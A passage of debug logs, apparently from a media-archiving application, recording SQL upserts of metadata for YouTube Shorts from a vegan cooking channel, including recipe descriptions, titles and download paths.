(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You can have your cheat meal and eat it too 😉 but #makeitvegan These LOADED VEGAN PEROGIES with SPICY CHORIZO are gluten-free and flavourFULL! \n\nVegan + gluten-free cheddar perogies \nVegan sour cream @realcanadiansuperstore \nVegan gluten-free chorizo @realcanadiansuperstore \nCaramelized onions\nDiced green onions\n\nSUBSCRIBE to @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵", "badc9b69-7752-4e44-bb37-72d9c68c5e9d", 1, [], 15, false, "g39_M1HC8WI", "https://www.youtube.com/shorts/g39_M1HC8WI", 446, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵/LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵 [g39_M1HC8WI].NA", false, false, true, 4, ~U[2022-05-18 15:00:33Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "You can have your cheat meal and eat it too 😉 but #makeitvegan These LOADED VEGAN PEROGIES with SPICY CHORIZO are gluten-free and flavourFULL! \n\nVegan + gluten-free cheddar perogies \nVegan sour cream @realcanadiansuperstore \nVegan gluten-free chorizo @realcanadiansuperstore \nCaramelized onions\nDiced green onions\n\nSUBSCRIBE to @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵", 1, 15, false, "g39_M1HC8WI", "https://www.youtube.com/shorts/g39_M1HC8WI", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵/LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵 [g39_M1HC8WI].NA", true, ~U[2022-05-18 15:00:33Z]] 20:31:11.114 [debug] QUERY OK source="sources" db=0.4ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.116 [debug] QUERY OK source="media_items" db=1.8ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 00:00:12Z], 1] 20:31:11.119 [debug] QUERY OK source="media_items" db=1.2ms idle=10.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Putting a vegan spin on one of my childhood favourites, tuna casserole! This will be your new fave dump and bake casserole I’m TELLIN YA 🤤\n\nSAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Mark Generous - August Rush - https://thmatc.co/?l=25CE3565", "VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹", "531ecb69-1f63-43da-8be2-faa675ae64e1", 1, [], 59, false, "jtW5sSVmB58", "https://www.youtube.com/shorts/jtW5sSVmB58", 447, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹/VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹 [jtW5sSVmB58].NA", false, false, true, 4, ~U[2022-05-18 00:00:12Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Putting a vegan spin on one of my childhood favourites, tuna casserole! This will be your new fave dump and bake casserole I’m TELLIN YA 🤤\n\nSAVE THIS RECIPE FOR LATER! ✅\n\nINGREDIENTS \n1 cup uncooked brown rice\n2 cups coconut milk\n1 can of young green jackfruit\n1 can of chickpeas, drained and rinsed \n1 cup mushroom broth\n1 tablespoon sweet miso paste\n2 tbsp vegan butter\n1 tsp garlic powder\n1 tsp onion powder\n3/4 tsp salt \n4 nori snack sheets, roasted and salted \n1 cup frozen peas and carrot mix\n\n1. In a sauce pan, add the coconut milk, mushroom broth, miso paste, garlic and onion powder, and vegan butter and bring to a boil and stir until melted.\n2. Add the nori sheets and jackfruit to a food processor or blender and pulse until shredded and flaky, resembling canned tuna.\n3. In a casserole dish, combined the chickpeas, frozen peas and carrots and shredded jackfruit and stir until welcome bind. Evenly sprinkle the dry brown rice over top of the mixture. Then, pour over the liquid mixture and with a spoon gently press any uncovered rice into the liquid.\n4. Cover with foil and bake for one hour. ENJOY!!\n\nThis is seriously sooo good! Perfect side dish or weeknight meal that requires minimal effort. 😊 \n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Mark Generous - August Rush - https://thmatc.co/?l=25CE3565", "VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹", 1, 59, false, "jtW5sSVmB58", "https://www.youtube.com/shorts/jtW5sSVmB58", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹/VEGAN TUNA CASSEROLE 🥘 I veganized one of my FAVE childhood meals 🥹 [jtW5sSVmB58].NA", true, ~U[2022-05-18 00:00:12Z]] 20:31:11.120 [debug] QUERY OK source="sources" db=0.6ms idle=11.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.122 [debug] QUERY OK source="media_items" db=2.3ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-17 17:00:18Z], 1] 20:31:11.123 [debug] QUERY OK source="media_items" db=0.9ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You know you've all been there: you're too busy, rushed for time, or are out of coffee at home and you don't get that all important morning coffee. I decided to mash up these Will Ferrell clips from the movie Old School as they perfectly reflect how I'm sure most of you feel when you don't get that morning coffee.\n\nEnjoy and don't forget to subscribe to my channel if you enjoy delicious plant-based and gluten-free recipes with some occasional comedy and laughs mixed in.", "Me When I Don't Get My Morning Coffee #shorts", "635595f8-0005-4dc7-9107-220690bb59a1", 1, [], 20, false, "JLMVwCzxPC4", "https://www.youtube.com/shorts/JLMVwCzxPC4", 448, "/downloads/downloads/alec/Steamy Vegan/2022-05-17 Me When I Don't Get My Morning Coffee #shorts/Me When I Don't Get My Morning Coffee #shorts [JLMVwCzxPC4].NA", false, false, true, 2, ~U[2022-05-17 17:00:18Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "You know you've all been there: you're too busy, rushed for time, or are out of coffee at home and you don't get that all important morning coffee. I decided to mash up these Will Ferrell clips from the movie Old School as they perfectly reflect how I'm sure most of you feel when you don't get that morning coffee.\n\nEnjoy and don't forget to subscribe to my channel if you enjoy delicious plant-based and gluten-free recipes with some occasional comedy and laughs mixed in.", "Me When I Don't Get My Morning Coffee #shorts", 1, 20, false, "JLMVwCzxPC4", "https://www.youtube.com/shorts/JLMVwCzxPC4", "/downloads/downloads/alec/Steamy Vegan/2022-05-17 Me When I Don't Get My Morning Coffee #shorts/Me When I Don't Get My Morning Coffee #shorts [JLMVwCzxPC4].NA", true, ~U[2022-05-17 17:00:18Z]] 20:31:11.124 [debug] QUERY OK source="sources" db=0.6ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.127 [debug] QUERY OK source="media_items" db=2.4ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-17 14:47:48Z], 1] 20:31:11.130 [debug] QUERY OK source="media_items" db=2.9ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["LAZY WHITE BEAN + VEGGIE RISOTTO 🍚 vegan and gluten-free, baby 💥 \n\nRisotto does NOT have to take long to make nor do you have to stand over your stove constantly monitoring it. \n\nINGREDIENTS - SAVE THIS FOR LATER! ✅ \n1.5 cups arborio rice\n3 cups hot mushroom broth\n1/2 yellow onion, diced\n3 cloves garlic, minced\n2 cups white mushrooms, roughy chopped\n1.5 cups fresh or frozen squashed, diced (butternut, kabocha, hubbard)\n1 can white kidney beans\n2 cups spinach, packed\n3 tbsp nutritional yeast\nSalt and pepper to taste\nTruffe powder/oil to garnish\n\n1. Saute a little bit of onion and garlic with a splash of broth until soft and fragrant, and then toss in some mushrooms, squash and canned white kidney beans. \n2. Stir in the arborio rice until everything is nicely combined, and then pour in your hot mushroom broth. Cover with a lid and stir occasionally, for about 20-25 minutes. \n3. Once the rice is soft and cooked, add some salt and pepper, a little nutritional yeast for extra flavour and if you have it, some truffle powder or oil. \n4. Stir in those flavours and finally, fold in the spinach and cover for a few minutes to let it wilt down a little. SERVE + ENJOY! \n\nThis risotto is so filling, delicious and only requires one pot. Plus, it’s a nice way to use up those random veggies in your fridge waiting to die. 😊\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#risotto #veganrisotto #glutenfreeeats #glutenfreedairyfree #veganhacks steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Nasir Ibrahim - balance - https://thmatc.co/?l=0DC758A8", "LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!", "ee3ac732-9102-4394-bd1c-1043c965e382", 1, [], 60, false, "9Ldug34i_90", "https://www.youtube.com/shorts/9Ldug34i_90", 449, "/downloads/downloads/alec/Steamy Vegan/2022-05-17 LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!/LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free! [9Ldug34i_90].NA", false, false, true, 2, ~U[2022-05-17 14:47:48Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "LAZY WHITE BEAN + VEGGIE RISOTTO 🍚 vegan and gluten-free, baby 💥 \n\nRisotto does NOT have to take long to make nor do you have to stand over your stove constantly monitoring it. \n\nINGREDIENTS - SAVE THIS FOR LATER! ✅ \n1.5 cups arborio rice\n3 cups hot mushroom broth\n1/2 yellow onion, diced\n3 cloves garlic, minced\n2 cups white mushrooms, roughy chopped\n1.5 cups fresh or frozen squashed, diced (butternut, kabocha, hubbard)\n1 can white kidney beans\n2 cups spinach, packed\n3 tbsp nutritional yeast\nSalt and pepper to taste\nTruffe powder/oil to garnish\n\n1. Saute a little bit of onion and garlic with a splash of broth until soft and fragrant, and then toss in some mushrooms, squash and canned white kidney beans. \n2. Stir in the arborio rice until everything is nicely combined, and then pour in your hot mushroom broth. Cover with a lid and stir occasionally, for about 20-25 minutes. \n3. Once the rice is soft and cooked, add some salt and pepper, a little nutritional yeast for extra flavour and if you have it, some truffle powder or oil. \n4. Stir in those flavours and finally, fold in the spinach and cover for a few minutes to let it wilt down a little. SERVE + ENJOY! \n\nThis risotto is so filling, delicious and only requires one pot. Plus, it’s a nice way to use up those random veggies in your fridge waiting to die. 😊\n\nFollow @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#risotto #veganrisotto #glutenfreeeats #glutenfreedairyfree #veganhacks steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood\n\nMusic by Nasir Ibrahim - balance - https://thmatc.co/?l=0DC758A8", "LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!", 1, 60, false, "9Ldug34i_90", "https://www.youtube.com/shorts/9Ldug34i_90", "/downloads/downloads/alec/Steamy Vegan/2022-05-17 LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free!/LAZY WHITE BEAN & VEGGIE RISOTTO 🤤 vegan and gluten-free! [9Ldug34i_90].NA", true, ~U[2022-05-17 14:47:48Z]] 20:31:11.132 [debug] QUERY OK source="sources" db=1.3ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.135 [debug] QUERY OK source="media_items" db=2.7ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 18:30:21Z], 1] 20:31:11.136 [debug] QUERY OK source="media_items" db=0.8ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Who won our TRASH TALK SMACKDOWN - Brad or Janelle? LEAVE YOUR THOUGHTS BELOW! ⬇️ \n\nCatch all the shade they were throwing in Episode 2 of THE CHEAT DAY CHALLENGE! https://youtu.be/mrnDt0w-gno", "TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥", "38853651-a9a8-48d2-802b-5ff5c253e5d5", 1, [], 22, false, "UmGNGoSbWXQ", "https://www.youtube.com/shorts/UmGNGoSbWXQ", 450, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥/TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥 [UmGNGoSbWXQ].NA", false, false, true, 3, ~U[2022-05-16 18:30:21Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Who won our TRASH TALK SMACKDOWN - Brad or Janelle? LEAVE YOUR THOUGHTS BELOW! ⬇️ \n\nCatch all the shade they were throwing in Episode 2 of THE CHEAT DAY CHALLENGE! https://youtu.be/mrnDt0w-gno", "TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥", 1, 22, false, "UmGNGoSbWXQ", "https://www.youtube.com/shorts/UmGNGoSbWXQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥/TRASH TALK SMACKDOWN! Vegan mac and cheese style🧀🥊💥 [UmGNGoSbWXQ].NA", true, ~U[2022-05-16 18:30:21Z]] 20:31:11.137 [debug] QUERY OK source="sources" db=0.6ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.140 [debug] QUERY OK source="media_items" db=1.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 14:00:03Z], 1] 20:31:11.143 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Is mustard on watermelon actually a weird viral food pairing that you've gotta try at least once or is this viral food pairing disgusting? Watch this taste test video to see what we think of this viral food pairing.\n\nWe also have a full video that includes this with 7 other strange food pairings. Some of them are amazing and you've gotta taste and others are downright disgusting.\n\nCheck out the full video here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe! Thanks for your support!", "Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts", "9c772e87-bc64-4d1c-b0f7-c7a4cdd69392", 1, [], 25, false, "8JGBnEPV92o", "https://www.youtube.com/shorts/8JGBnEPV92o", 451, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts/Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts [8JGBnEPV92o].NA", false, false, true, 3, ~U[2022-05-16 14:00:03Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Is mustard on watermelon actually a weird viral food pairing that you've gotta try at least once or is this viral food pairing disgusting? Watch this taste test video to see what we think of this viral food pairing.\n\nWe also have a full video that includes this with 7 other strange food pairings. Some of them are amazing and you've gotta taste and others are downright disgusting.\n\nCheck out the full video here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe! Thanks for your support!", "Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts", 1, 25, false, "8JGBnEPV92o", "https://www.youtube.com/shorts/8JGBnEPV92o", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts/Viral Food Pairings That You've Gotta Try - Mustard on Watermelon #shorts [8JGBnEPV92o].NA", true, ~U[2022-05-16 14:00:03Z]] 20:31:11.144 [debug] QUERY OK source="sources" db=0.8ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.145 [debug] QUERY OK source="media_items" db=1.7ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-16 01:00:13Z], 1] 20:31:11.147 [debug] QUERY OK source="media_items" db=0.9ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Because it's the only way to have a chill Sunday ☺️ Recipe makes 2 Apple Pie Lattes!\n\nSAVE THIS RECIPE ✔️\n3/4 cup double-strong coffee or espresso\n1.5 cups unsweetened vanilla oat milk (or non-dairy milk of choice)\n1/3 cup unsweetened apple sauce\n3 medjool dates, pitted and soaked for 3 mins hot water\n1 tsp cinnamon\n2 tbsp maple syrup\n2 pinches sea salt\n\n1. Brew your coffee to desired strength.\n2. In a high-speed blender, blend the remaining ingredients on high speed for 45-60 seconds until the dates have been fully blended.\n3. Pour into a small saucepan and bring to a low boil until steaming. Using a milk frother, froth until you've reached your desired fluffiness.\n4. Pour the brewed coffee into your mugs, followed by the hot milk. Garnish with cinnamon and enjoy!! #steamyvegankitchen", "ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts", "1f875e85-1516-4c9b-b149-fa6210f75121", 1, [], 59, false, "gHu-W_hEGVA", "https://www.youtube.com/shorts/gHu-W_hEGVA", 452, "/downloads/downloads/alec/Steamy Vegan/2022-05-16 ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts/ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts [gHu-W_hEGVA].NA", false, false, true, 3, ~U[2022-05-16 01:00:13Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Because it's the only way to have a chill Sunday ☺️ Recipe makes 2 Apple Pie Lattes!\n\nSAVE THIS RECIPE ✔️\n3/4 cup double-strong coffee or espresso\n1.5 cups unsweetened vanilla oat milk (or non-dairy milk of choice)\n1/3 cup unsweetened apple sauce\n3 medjool dates, pitted and soaked for 3 mins hot water\n1 tsp cinnamon\n2 tbsp maple syrup\n2 pinches sea salt\n\n1. Brew your coffee to desired strength.\n2. In a high-speed blender, blend the remaining ingredients on high speed for 45-60 seconds until the dates have been fully blended.\n3. Pour into a small saucepan and bring to a low boil until steaming. Using a milk frother, froth until you've reached your desired fluffiness.\n4. Pour the brewed coffee into your mugs, followed by the hot milk. Garnish with cinnamon and enjoy!! #steamyvegankitchen", "ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts", 1, 59, false, "gHu-W_hEGVA", "https://www.youtube.com/shorts/gHu-W_hEGVA", "/downloads/downloads/alec/Steamy Vegan/2022-05-16 ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts/ASMR APPLE PIE LATTE 🍏 🥧 ☕️ recipe in caption! #shorts [gHu-W_hEGVA].NA", true, ~U[2022-05-16 01:00:13Z]] 20:31:11.148 [debug] QUERY OK source="sources" db=1.3ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.151 [debug] QUERY OK source="media_items" db=2.1ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 